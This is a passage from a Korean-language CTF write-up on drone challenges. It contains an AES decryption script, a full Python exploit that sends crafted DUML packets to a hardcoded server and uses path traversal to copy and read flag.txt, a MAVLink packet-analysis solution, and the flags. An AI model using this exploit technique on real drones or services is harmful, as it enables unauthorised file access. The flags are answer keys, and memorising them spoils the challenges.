s[i + 12] = self.gf_mul_11[self._state[i]] ^ self.gf_mul_13[self._state[i + 4]] ^ self.gf_mul_9[self._state[i + 8]] ^ self.gf_mul_14[self._state[i + 12]]
self._state = s
def _encrypt(self, plaintext):
self._state = self._transpose(plaintext)
print(self._state)
self._add_round_key(0)
for round_n in range(1, self._round):
self._sub_bytes()
self._shift_rows()
self._mix_columns()
self._add_round_key(round_n)
self._sub_bytes()
self._shift_rows()
self._add_round_key(self._round)
return bytes(self._transpose(self._state))
def _decrypt(self, ciphertext):
self._state = self._transpose(ciphertext)
self._add_round_key(self._round)
self._shift_rows_inv()
self._sub_bytes_inv()
for round_n in range(self._round - 1, 0, -1):
self._add_round_key(round_n)
self._mix_columns_inv()
self._shift_rows_inv()
self._sub_bytes_inv()
self._add_round_key(0)
return bytes(self._transpose(self._state))
def encrypt(self, plaintext):
assert len(plaintext) % self._block_size == 0
ciphertext = b""
for i in range(0, len(plaintext), self._block_size):
ciphertext += self._encrypt(plaintext[i : i + self._block_size])
return ciphertext
def decrypt(self, ciphertext):
assert len(ciphertext) % self._block_size == 0
plaintext = b""
for i in range(0, len(ciphertext), self._block_size):
plaintext += self._decrypt(ciphertext[i : i + self._block_size])
return plaintext
if __name__ == "__main__":
key = b'AES128_CipherKey'
aes = AES_implemented(b'x' * 16)
key = aes._transpose(key)
aes._round_keys = aes._expand_key(key)
with open("flag.jpg", "rb") as f:
data = f.read()
with open("flag-org.jpg", "wb") as f:
for i in range(0, len(data), 16):
dec = data[i:i+16]
plain = bytes(aes._transpose(aes.decrypt(aes._transpose(dec))))
f.write(plain)
```
#### Flag
- HTD{Th3_dr0nes_system_was_allowing_c0mplete_remote_c0ntr0l!}
## Pwnable
### 4. Dron3 H4cks
#### Description

#### Solution
- log 파일을 관리하는 서비스로 DUML 패킷을 통해 상호작용 가능
- 복사하려는 로그 파일의 경로에 path traversal 취약점이 발생하여 flag.txt를 임의 로그 파일로 저장할 수 있음
#### Code
```python
import struct
import socket
import random
from crc import calc_hdr_checksum, calc_checksum
# 서버 주소 및 포트 설정
SERVER_ADDRESS = ('15.164.114.238', 7810) # 서버 IP 및 포트
BUFFER_SIZE = 1024
# 패킷을 생성하는 함수 (handle_DUML3 패킷)
def create_handle_duml3_packet(g_seq, log_num):
sequence_number = g_seq + 1
packet_type = 0x05
# DUML 패킷 헤더
magic = 0x55
version = 0x3
length = 77
# DUML 헤더 구성
header = struct.pack("<BBB", magic, length & 0xFF, (version << 2) | ((length >> 8) & 0x03))
crc8 = bytes([calc_hdr_checksum(0x77, header, 3)])
# DUML Transit
src_id = 1
src_type = 1
dest_id = 1
dest_type = 1
counter = random.randint(0, 65535)
transit = struct.pack("<BBH", (src_id << 5) | src_type, (dest_id << 5) | dest_type, counter)
# DUML Command
cmd_type = 0
ack_type = 0
encrypt = 0
cmd_set = 99 # cmd_set = 99
cmd_id = 3 # cmd_id = 3 (handle_DUML3 호출)
command = struct.pack("<BBB", (cmd_type << 7) | (ack_type << 5) | encrypt, cmd_set, cmd_id)
# DUML Payload (log_num 설정)
log_num_padded = str(log_num).ljust(64, '\x00').encode('utf-8')
cmd_payload = log_num_padded
# 전체 패킷 생성 (header + transit + command + payload)
full_packet = header + crc8 + transit + command + cmd_payload
crc16 = calc_checksum(full_packet, len(full_packet))
# 최종 패킷에 CRC16 추가
payload = full_packet + struct.pack("<H", crc16)
# DJI UDP 패킷 생성 (UDP 헤더 + payload)
packet_length = 5 + len(payload) # UDP 헤더 포함 길이 계산
packet = struct.pack('<HHB', packet_length ^ (1 << 15), sequence_number, packet_type) + payload
return packet
# 파일 복사를 위해 handle_DUML4 패킷을 생성하는 함수
def create_handle_duml4_packet(g_seq, source_file, dest_file):
sequence_number = g_seq + 1
packet_type = 0x05
# DUML 패킷 헤더
magic = 0x55
version = 0x3
length = 141
# DUML 헤더 구성
header = struct.pack("<BBB", magic, length & 0xFF, (version << 2) | ((length >> 8) & 0x03))
crc8 = bytes([calc_hdr_checksum(0x77, header, 3)])
# DUML Transit
src_id = 1
src_type = 1
dest_id = 1
dest_type = 1
counter = random.randint(0, 65535)
transit = struct.pack("<BBH", (src_id << 5) | src_type, (dest_id << 5) | dest_type, counter)
# DUML Command
cmd_type = 0
ack_type = 0
encrypt = 0
cmd_set = 99 # cmd_set = 99
cmd_id = 4 # cmd_id = 4 (handle_DUML4 호출)
command = struct.pack("<BBB", (cmd_type << 7) | (ack_type << 5) | encrypt, cmd_set, cmd_id)
# DUML Payload (source_file와 dest_file 설정)
source_file_padded = source_file.ljust(64, '\x00').encode('utf-8')
dest_file_padded = dest_file.ljust(64, '\x00').encode('utf-8')
cmd_payload = source_file_padded + dest_file_padded
# 전체 패킷 생성 (header + transit + command + payload)
full_packet = header + crc8 + transit + command + cmd_payload
crc16 = calc_checksum(full_packet, len(full_packet))
# 최종 패킷에 CRC16 추가
payload = full_packet + struct.pack("<H", crc16)
# DJI UDP 패킷 생성 (UDP 헤더 + payload)
packet_length = 5 + len(payload)
packet = struct.pack('<HHB', packet_length ^ (1 << 15), sequence_number, packet_type) + payload
return packet
# DUML3 패킷을 서버로 전송하는 함수 (로그 파일 읽기)
def send_handle_duml3_packet(log_num):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# g_seq 값을 1로 설정 (또는 적절한 값 설정)
packet = create_handle_duml3_packet(1, log_num)
sock.sendto(packet, SERVER_ADDRESS)
# 서버 응답 수신
response, _ = sock.recvfrom(BUFFER_SIZE)
print(f"Server response (log file content): {response.decode('utf-8')}")
# DUML4 패킷을 서버로 전송하는 함수 (파일 복사)
def send_handle_duml4_packet(source_file, dest_file):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# g_seq 값을 1로 설정 (또는 적절한 값 설정)
packet = create_handle_duml4_packet(1, source_file, dest_file)
sock.sendto(packet, SERVER_ADDRESS)
# 서버 응답 수신
response, _ = sock.recvfrom(BUFFER_SIZE)
print(f"Server response (file copy command): {response.decode('utf-8')}")
if __name__ == "__main__":
# source_file과 dest_file 설정
source_file = "/system/log/../../../../../flag.txt"
dest_file = "/data/log/0.log"
# 파일 복사 수행 (handle_DUML4 호출)
send_handle_duml4_packet(source_file, dest_file)
# 복사된 파일 읽기 수행 (handle_DUML3 호출)
log_num = 0 # 로그 파일 번호 설정
send_handle_duml3_packet(log_num)
```
#### Flag
- HTD{We_d0nt_n33d_t0_buy_Dron3H4cks}
## Packet
### 5. Treasure hunting
#### Description

#### Solution
- [MAVLink](https://mavlink.io/en/messages/common.html) 참고하여 패킷 덤프 분석
- [MAVLink Wireshark plugin](https://gist.github.com/dagar/c006ce6014fd56fbdab92af062bd8e19)
- 문제 지문을 참고하여 Home location 설정 커맨드(MAV_CMD_DO_SET_HOME)를 찾아 좌표 획득 가능

#### Flag
- HTD{427cab3942f0b497431f0000427395ad430ec73a4441c000}